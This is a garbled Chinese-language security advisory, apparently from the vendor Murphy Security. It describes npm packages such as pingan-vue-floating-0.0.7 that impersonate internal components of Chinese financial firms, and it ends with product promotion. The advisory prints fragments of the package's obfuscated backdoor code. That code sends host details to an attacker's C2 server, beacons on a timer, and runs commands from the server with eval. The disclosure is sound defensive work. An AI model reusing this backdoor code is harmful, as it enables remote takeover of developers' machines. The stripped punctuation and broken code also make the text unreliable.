snugglejack_org

(邮件地址SnuggleBearrxxhotmail.com的用户发布到

NPM

等命名很大几率是针对国内厂商(例如中国*安)投毒者通过模拟目标企业内部私有源组件命名进行混淆进而通过诱导用户企业内部用户下载投毒组件包实现对目标机器的远控入侵这是目前公开发现的首起针对国内金融企业的开源组件投毒攻击事件。

截至2023年8月14日投毒包仍可在NPM腾讯源进行下载(见图1)用户可通过

npm

判断是否下载了恶意组件批量检测投毒检测可联系墨菲安全使用产品工具进行全网一键排查最近正值大型攻防演练建议大家认真排查。

图1:

以pingan-vue-floating-0.0.7组件为例该组件包通过

pm2

秒后向攻击者可控的恶意C2服务器发送请求维持心跳进而接收并执行攻击者发送的系统命令

//pingan-vue-floating-0.0.7/app.jsconst

key

(37532).toString(36).toLowerCase()(27).toString(36).toLowerCase().split().map(function(S){return

String.fromCharCode(S.charCodeAt()(-39))}).join()(1166).toString(36).toLowerCase()(function(){var

vArray.prototype.slice.call(arguments),Av.shift();return

v.reverse().map(function(N,Q){return

String.fromCharCode(N-A-10-Q)}).join()})(43,107,106,169,150,111,106)(914).toString(36).toLowerCase()(function(){var

kArray.prototype.slice.call(arguments),Dk.shift();return

k.reverse().map(function(r,I){return

String.fromCharCode(r-D-8-I)}).join()})(36,167,112)

const

os.hostname(),uuid:machineIdSync({original:

true}),os:os.platform(),};sendRequest(url/api/index,aesEncrypt(JSON.stringify(requestData)))const

task

true}),}sendRequest(url/api/captcha,aesEncrypt(JSON.stringify(task))).then(result

{try{if

base64).toString();eval(decodedData)}}catch

app(){const

{createTmpFile();setInterval(heartbeat,

45000);}

墨菲安全的私有源网关产品可对npm、pip、maven等中央仓库的投毒事件进行实时的检测和拦截同时支持对高危漏洞实现基线管理目前该产品已在蚂蚁、小米、中国电信、中国移动等数十家客户落地应用。

墨菲安全0day漏洞及投毒情报覆盖最新的0day、1day及投毒情报预警所有情报经过严格的安全专家研判保障企业获取的第一手的高质量漏洞及投毒情报更有比CVE漏洞库多25额外的详细分析字段目前该产品已在蚂蚁、美团、中国电信等数十家客户落地应用。

https://www.murphysec.com/enterprise